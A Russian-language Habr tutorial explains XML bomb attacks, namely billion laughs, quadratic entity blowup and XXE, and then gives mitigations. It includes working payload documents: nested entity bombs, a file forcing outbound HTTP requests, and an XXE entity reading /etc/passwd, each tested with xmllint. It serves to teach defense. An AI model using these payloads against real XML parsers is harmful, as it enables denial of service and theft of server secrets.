Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.
Теория
Стандарт XML разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:
<!DOCTYPE greeting [ <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, world!</greeting>
В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:
<!DOCTYPE greeting [ <!ENTITY target "world"> <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, ⌖!</greeting>
Проверить этот документ на валидность и раскрыть сущности можно так:
$ xmllint --noent --valid hello.xml
Экспоненциальное раздувание сущностей
Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом, но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года.
<!DOCTYPE bomb [ <!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"> <!ELEMENT bomb (#PCDATA)> ]> <bomb>&d;</bomb>
Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:
$ xmllint --noent --valid bomb1.xml Entity: line 1: parser error : Detected an entity reference loop &c;&c;&c;&c;&c;&c;&c;&c; ^ bomb1.xml:8: parser error : Detected an entity reference loop <bomb>&d;</bomb> ^
Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:
$ xmllint --noent --valid --huge bomb1.xml | wc -c 5344
Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.
Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.
Квадратичное раздувание сущностей
Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:
<!DOCTYPE bomb [ <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>
$ xmllint --huge --noent --valid bomb2.xml | wc -c 1868
Опция —huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом, т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.
Внешние сущности
Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:
<!DOCTYPE bomb [ <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" > <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" > <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" > <!ELEMENT author ANY> <!ELEMENT blockquote ANY> <!ELEMENT category ANY> <!ELEMENT channel ANY> <!ELEMENT code ANY> <!ELEMENT description ANY> <!ELEMENT generator ANY> <!ELEMENT guid ANY> <!ATTLIST guid isPermaLink CDATA #IMPLIED> <!ELEMENT h3 ANY> <!ELEMENT i ANY> <!ELEMENT image ANY> <!ELEMENT item ANY> <!ELEMENT language ANY> <!ELEMENT lastBuildDate ANY> <!ELEMENT link ANY> <!ELEMENT managingEditor ANY> <!ELEMENT pre ANY> <!ELEMENT pubDate ANY> <!ELEMENT rss ANY> <!ATTLIST rss version CDATA #IMPLIED> <!ELEMENT title ANY> <!ELEMENT url ANY> <!ELEMENT bomb ANY> ]> <bomb>&a1;&a2;&a3;</bomb>
$ xmllint --noent --noout --load-trace bomb3.xml
В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа —nonet.
Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь —nonet не помогает:
<!DOCTYPE bomb [ <!ENTITY passwd SYSTEM "file:///etc/passwd" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&passwd;</bomb>
$ xmllint --noent --nonet --valid bomb4.xml
Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489.
Заключение
Теперь поговорим о предотвращении таких атак.
Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей.
Есть, однако, мнение, что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.
ссылка на оригинал статьи http://habrahabr.ru/post/170333/
Добавить комментарий